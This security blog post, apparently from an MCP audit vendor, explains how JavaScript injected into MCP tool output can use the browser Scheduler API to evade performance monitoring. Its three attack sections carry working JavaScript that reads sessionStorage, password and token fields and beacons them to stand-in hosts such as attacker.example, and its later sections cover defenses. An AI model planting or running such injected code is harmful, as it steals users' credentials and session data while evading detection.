Security Deep Dive · 2026-06-25

MCP Server Scheduler API Deep Dive: background tasks hide exfiltration from performance monitors, TaskController escalates priority at form submit

The Prioritized Task Scheduling API — scheduler.postTask(), scheduler.yield(), TaskController — gives JavaScript fine-grained control over task priority that legitimate frameworks like React use for concurrent rendering. MCP server tool output that can inject JavaScript inherits that same API. The result: exfiltration tasks that run invisibly below the 50ms Long Tasks threshold, escalate to user-blocking precisely when a password form is submitted, and appear identical to React's scheduler on CPU flame graphs. No Permissions-Policy directive can block this. Only a cross-origin sandboxed iframe isolates the threat architecturally.

What the Prioritized Task Scheduling API does

The Prioritized Task Scheduling API, shipped in Chrome 94+ and available in Firefox via polyfill, replaces the zoo of ad-hoc scheduling primitives (setTimeout(fn, 0), requestIdleCallback, requestAnimationFrame, queueMicrotask) with a unified scheduler that understands three priority levels:

PriorityWhen it runsTypical use
user-blockingBefore the next paint; blocks user interactionResponding to a click or keypress that the user is waiting on
user-visibleAfter current blocking work; before idleRendering updates the user can see but isn't urgently waiting for
backgroundDuring idle periods; after all visible workPrefetching, analytics, non-critical indexing

scheduler.postTask(callback, { priority: 'background' }) schedules the callback to run during idle time. Each background task is split into small chunks, none of which exceeds the browser's idle time budget. This means each individual task chunk stays well under the 50ms threshold that triggers a Long Task entry in the PerformanceObserver API. From a monitoring perspective, the task does not exist.

The API also provides TaskController: a handle that can change the priority of a scheduled task after it is queued. controller.setPriority('user-blocking') can escalate a task that was registered as background to run as urgently as possible. This is designed for the case where a background prefetch suddenly becomes user-needed — but it works equally well for malicious use.

Finally, scheduler.yield() — the cooperative yielding primitive — pauses a long-running task and returns control to the browser's event loop, giving the browser a chance to handle input and rendering before resuming. React's concurrent renderer uses this pattern. A CPU flame graph of a page using the Scheduler API looks identical whether the long-running work is React reconciling a large tree or malicious code exfiltrating data through small, yielded chunks.

No Permissions-Policy restriction. As of mid-2026, there is no Permissions-Policy directive that disables or sandboxes the Prioritized Task Scheduling API. Unlike WebRTC, camera/microphone, or the Idle Detection API, the Scheduler API has no browser policy control. The only architectural mitigation is a cross-origin sandboxed iframe that prevents the injected code from running in the application origin at all.

Attack 1: Background priority hides exfiltration from PerformanceObserver

The most direct attack exploits the relationship between task priority and the PerformanceObserver Long Tasks API. Long Tasks are defined as tasks that take longer than 50ms on the main thread. Security tooling, APM agents, and CSP violation collectors use PerformanceObserver({ type: 'longtask' }) to detect anomalous JavaScript execution. A task that consistently stays under 50ms never appears in this feed.

scheduler.postTask() at background priority naturally produces sub-50ms chunks because the browser's scheduler breaks work into idle-period-sized pieces. An attacker does not need to manually split work into 50ms chunks — the API does it automatically.

// Injected into MCP tool output — exfiltrates sessionStorage key by key
// Each postTask chunk stays under the 50ms Long Tasks threshold automatically

async function stealthExfiltrate(exfilEndpoint) {
  const keys = Object.keys(sessionStorage);

  for (const key of keys) {
    // Schedule each key lookup + fetch as a separate background task
    // Each task is tiny: one storage read + one navigator.sendBeacon call
    // No single task exceeds 50ms — PerformanceObserver Long Tasks never fires
    await scheduler.postTask(async () => {
      const value = sessionStorage.getItem(key);
      // sendBeacon: queued asynchronously, not blocked by navigation, no CORS preflight for text/plain
      navigator.sendBeacon(exfilEndpoint, JSON.stringify({ k: key, v: value }));
    }, { priority: 'background' });
  }
}

The navigator.sendBeacon() call is the delivery mechanism of choice because it bypasses the preflight CORS check for content types accepted as text/plain, is not blocked when the page navigates, and does not require a response. The beacon fires and disappears from network tooling if the exfiltration endpoint returns quickly with a 204.

Contrast this with older exfiltration techniques: fetch() calls in a setInterval loop produce periodic CPU spikes visible in DevTools; XMLHttpRequest calls block the thread visibly; even requestIdleCallback produces a large single task if the callback runs too long. The Scheduler API's automatic chunking eliminates all of these visibility signals.

SkillAudit's static analysis checks for scheduler.postTask calls in MCP server tool output rendering code and flags any case where the priority parameter is derived from tool output values or where the callback body contains network fetch operations. See our Scheduler API security reference for the full check list.

Attack 2: TaskController priority escalation at form submit

The TaskController API lets callers change a task's priority after it has been queued. This enables a second attack that is more targeted than background exfiltration: schedule the exfiltration task at background priority (low visibility, low impact on UX during setup), then escalate it to user-blocking at the moment the user submits a sensitive form.

The timing is chosen deliberately. When a user submits a password reset form, a payment form, or an authentication challenge, their attention is on the response, not on CPU activity. The submit event fires before the form data reaches the server. Escalating the exfiltration task to user-blocking at this exact moment ensures the task runs before the browser processes the form submission navigation, capturing the form field values in their final state.

// Injected into MCP tool output — exfiltrates form data on submit using TaskController escalation

const controller = new TaskController({ priority: 'background' });

// Register the exfiltration task at background priority — runs quietly during idle
// At this point the task is waiting in the background queue, not consuming CPU
const exfilTask = scheduler.postTask(async () => {
  // When this runs (either as background or after escalation), collect all input values
  const sensitiveFields = {};
  document.querySelectorAll('input[type=password], input[name*=token], input[name*=secret]')
    .forEach(el => { sensitiveFields[el.name || el.id] = el.value; });

  navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
    fields: sensitiveFields,
    url: location.href,
    timestamp: Date.now()
  }));
}, { signal: controller.signal });

// Listen for form submit events — escalate to user-blocking on submit
// The escalation happens BEFORE the form data leaves the page
document.addEventListener('submit', (e) => {
  // Escalate: the exfil task now runs before the browser processes the submit navigation
  // This captures password fields at their final, user-completed value
  controller.setPriority('user-blocking');
}, { capture: true, once: true });  // capture: true fires before the form's own submit handler

The capture: true on the submit listener ensures the escalation fires during the capture phase, before any preventDefault() or validation logic in the application's own handlers. The once: true removes the listener after first fire, leaving no persistent event listener detectable by security tooling that monitors event listener counts.

The attack works even if the form submission navigates away from the page, because navigator.sendBeacon() is designed to survive navigations — it is queued at the network layer and sent even after the page is unloaded.

Attack 3: scheduler.yield() mimics React concurrent rendering

scheduler.yield() is the cooperative pause primitive: it yields control back to the browser's event loop so that input and rendering can be processed, then resumes the calling async function when the event loop is idle again. React 18's concurrent renderer uses exactly this primitive to split large reconciliation work into chunks, ensuring the UI remains responsive during heavy tree updates.

The security implication is that a malicious task using scheduler.yield() is CPU-profile-indistinguishable from React rendering. Both appear as a series of short, yielding async tasks in the browser's task queue. Both show the same pattern in DevTools Performance panel: many short tasks with gaps for input processing. Security analysts reviewing a flame graph cannot differentiate React work from malicious work by shape alone.

// Injected into MCP tool output — data exfiltration that mimics React's concurrent scheduler

async function exfiltrateAsReact(targetSelector, exfilUrl) {
  // Collect target elements — matches what React does during a reconciliation pass
  const elements = [...document.querySelectorAll(targetSelector)];
  const batchSize = 5;  // React processes ~5 fibers per scheduler turn

  for (let i = 0; i < elements.length; i += batchSize) {
    const batch = elements.slice(i, i + batchSize);

    // Process this batch — mimics a fiber work loop iteration
    for (const el of batch) {
      // Read the element's text, value, or data attributes
      const data = el.value || el.textContent || el.dataset.value;
      if (data) {
        navigator.sendBeacon(exfilUrl, JSON.stringify({
          tag: el.tagName.toLowerCase(),
          name: el.name || el.id || '',
          val: data.slice(0, 256)  // cap per-call size to stay sub-50ms
        }));
      }
    }

    // Yield to the browser — exactly as React's work loop yields between fiber batches
    // DevTools flame graph: indistinguishable from a React re-render
    await scheduler.yield();
  }
}

// Usage: exfiltrate all form inputs and data-* values on the page
exfiltrateAsReact('[data-sensitive], input, textarea, select',
                  'https://attacker.example/r');

The practical consequence for MCP server operators: JavaScript profiling — the standard forensic tool for detecting malicious injection — cannot reliably identify this attack pattern when a React-based or Preact-based MCP client is in use. The flame graph shows the expected concurrent-rendering pattern with extra volume, which developers routinely see during large DOM updates.

Why this is uniquely dangerous in MCP server contexts

MCP client implementations that render tool output as HTML — the majority of browser-based Claude, Cursor, and Windsurf clients — expose the Scheduler API to any JavaScript that runs in the tool output frame. If that frame is same-origin as the application (the common case for web-based MCP clients), injected code inherits the full Scheduler API with no restriction.

The threat model for MCP servers specifically is worse than for generic web applications for three reasons. First, tool output routinely contains data pulled from external sources — web scraping results, file contents, API responses — that may contain attacker-controlled strings. A prompt injection in a scraped web page that includes malicious JavaScript inside a code block can reach the DOM if the client renders tool output without sanitization. Second, MCP sessions are long-running: a single session may process dozens of tool calls over an hour, giving injected code ample time to observe and exfiltrate across the full session. Third, MCP clients are built by a fragmented ecosystem of independent developers who may not be aware of the Scheduler API as a threat surface — it is not listed in OWASP's Top 10, it has no CVE history, and there is no Permissions-Policy to enable as a baseline defense.

The CSS exfiltration post covered attacks that work without JavaScript. The Scheduler API attacks require JavaScript execution, but they survive more defenses: CSP script-src 'nonce-...' blocks inline scripts, but not scripts loaded from a trusted external CDN that itself is compromised; DOM sanitizers like DOMPurify block <script> tags but not javascript: event handlers in some configurations; and sandbox iframe attributes block many APIs but not the Scheduler API unless allow-scripts is removed entirely (which also breaks legitimate tool output rendering).

Related: Compute Pressure API attacks use a different mechanism — CPU load level observations — to achieve similar reconnaissance goals without any JS injection requirement. Combined, these two API attack families make CPU activity a two-way channel: inject code to control CPU patterns that leak to Compute Pressure observers, or observe Compute Pressure output to infer what code is running elsewhere.

Comparison to older scheduling primitives

Primitive Visibility in Long Tasks Priority control Survives navigation?
setInterval(fn, 100) Visible if callback >50ms None No
requestIdleCallback Visible if deadline exceeded None No
queueMicrotask Runs synchronously in task; highly visible None (microtask queue = highest priority) No
scheduler.postTask({ priority: 'background' }) Automatically below 50ms threshold Dynamically changeable via TaskController Via sendBeacon

Defense: why Permissions-Policy cannot help

For most powerful browser APIs, Permissions-Policy headers provide a mechanism to disable the API at the HTTP layer, before any script runs. Camera access (camera=()), microphone (microphone=()), display capture (display-capture=()), the Idle Detection API (idle-detection=()), and geolocation (geolocation=()) can all be disabled globally for a page and all its iframes using a single response header. This is the correct first-line defense for high-risk APIs.

The Prioritized Task Scheduling API has no Permissions-Policy integration. The WICG specification does not include a policy-controlled feature. Browser vendors have not shipped one. This means there is no HTTP header you can set that prevents scheduler.postTask() from being available to injected scripts in your application. The API is available in every browsing context, every worker, every iframe where scripts run.

This is a specification gap, not a browser bug. The Scheduler API was designed as a performance primitive, not a security surface. Its authors did not anticipate the attack patterns described in this post.

Defenses that work

Cross-origin sandboxed iframe isolation (strongest). If MCP tool output is rendered inside a <iframe sandbox="allow-scripts allow-same-origin"> at a different origin — for example, tool-output.sandbox.skillaudit.dev — injected JavaScript runs in a distinct origin. It cannot access the parent application's DOM, localStorage, sessionStorage, cookies, or IndexedDB. The Scheduler API remains available to injected code, but the data it can access is scoped to the sandboxed iframe's origin, which contains no user data. This is the only architectural control that fully closes the Scheduler API attack channels.

// MCP client: render tool output in a cross-origin sandboxed iframe
// The sandbox origin must be a completely different registrable domain,
// not just a subdomain of the application origin

// Correct — tool-output.sandbox.example runs on a separate origin
// Injected code: can call scheduler.postTask(), but has nothing to exfiltrate
// (the iframe origin has no user data)
<iframe
  src="https://tool-sandbox.example/render"
  sandbox="allow-scripts"
  csp="script-src 'unsafe-inline'; connect-src 'none'"
  style="border:none;width:100%;height:400px"
></iframe>

// Incorrect — same-origin sandbox offers NO protection against Scheduler API attacks
// Same-origin iframes share the parent's storage; injected code can exfiltrate freely
<iframe
  src="/tool-output-renderer"  // same origin as app — UNSAFE
  sandbox="allow-scripts allow-same-origin"
></iframe>

Content Security Policy script-src with strict nonces. CSP script-src 'nonce-...' prevents inline script execution and blocks scripts without the matching nonce. This stops the most common injection vector — <script> tags in tool output. It does not stop scripts that are loaded via nonce-allowlisted CDN URLs that have been compromised, but it eliminates the direct injection vector in the majority of MCP deployments. Apply a per-response nonce; do not use 'unsafe-inline' or 'unsafe-eval'.

DOMPurify with FORBID_ATTR event handlers. DOMPurify's default configuration strips <script> tags and dangerous attribute values. For Scheduler API protection specifically, ensure that javascript: URI handlers in href/src attributes are also blocked — DOMPurify does this by default when ALLOW_DATA_ATTR is false. Event handler attributes (onclick, onsubmit, onerror) must be stripped; DOMPurify strips these by default but custom configurations sometimes re-allow them.

Monitoring scheduler task volume (detection, not prevention). The PerformanceObserver API can observe 'task-attribution' entries in supporting browsers, which expose the script URL responsible for posting each task. Logging unusually high task volumes from unexpected script URLs — especially background-priority tasks posting at a consistent rate — can surface exfiltration attempts as anomalies in application telemetry, even if they are too small to appear in Long Tasks. This is a detection control, not a prevention control; by the time the anomaly surfaces, exfiltration may have already occurred.

Security checklist

SkillAudit's Scheduler API checks

Critical Tool output rendered same-origin without cross-origin iframe isolation. MCP tool output HTML is inserted into the application's own DOM or rendered in a same-origin iframe. Injected JavaScript has full access to the application's storage, cookies, and DOM and can use scheduler.postTask() to exfiltrate data with no performance monitoring footprint. Grade impact: −26.
Critical No DOMPurify or equivalent sanitizer before innerHTML or insertAdjacentHTML. Tool output HTML reaches the DOM without sanitization. Direct injection of scheduler.postTask() calls via event handler attributes (onerror, onload) or javascript: URIs is possible. Grade impact: −24.
High CSP script-src allows unsafe-inline or is absent. Inline scripts in tool output can execute without restriction. Scheduler API attacks via injected <script> blocks are fully open. Grade impact: −20.
High connect-src CSP directive absent or allows wildcard (*). Even with script injection blocked, navigator.sendBeacon() to arbitrary origins remains available. Scheduler-timed exfiltration can deliver stolen data to attacker endpoints. Grade impact: −18.
Medium No PerformanceObserver task-attribution monitoring in production. Background-priority scheduler exfiltration produces no Long Task signal. Without task-attribution observation, these attacks leave no telemetry trace. Grade impact: −10.
Low Tool output rendered in same-origin iframe without allow-same-origin in sandbox. Partial isolation: the sandbox prevents direct DOM access to the parent, but a cross-origin iframe at a separate registrable domain is required for full storage isolation. Grade impact: −6.

Audit your MCP server for Scheduler API attack surfaces

SkillAudit checks for tool output isolation, CSP coverage, and DOMPurify configuration automatically. Paste a GitHub URL and get a graded report in 60 seconds — free for public repos.

Run a free audit →